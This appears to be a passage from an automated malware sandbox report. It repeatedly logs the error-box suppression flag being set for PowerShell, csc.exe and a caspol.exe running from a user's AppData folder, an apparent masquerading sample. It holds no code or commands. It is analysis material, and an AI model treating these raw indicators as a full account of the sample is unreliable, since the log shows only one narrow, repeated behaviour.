Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
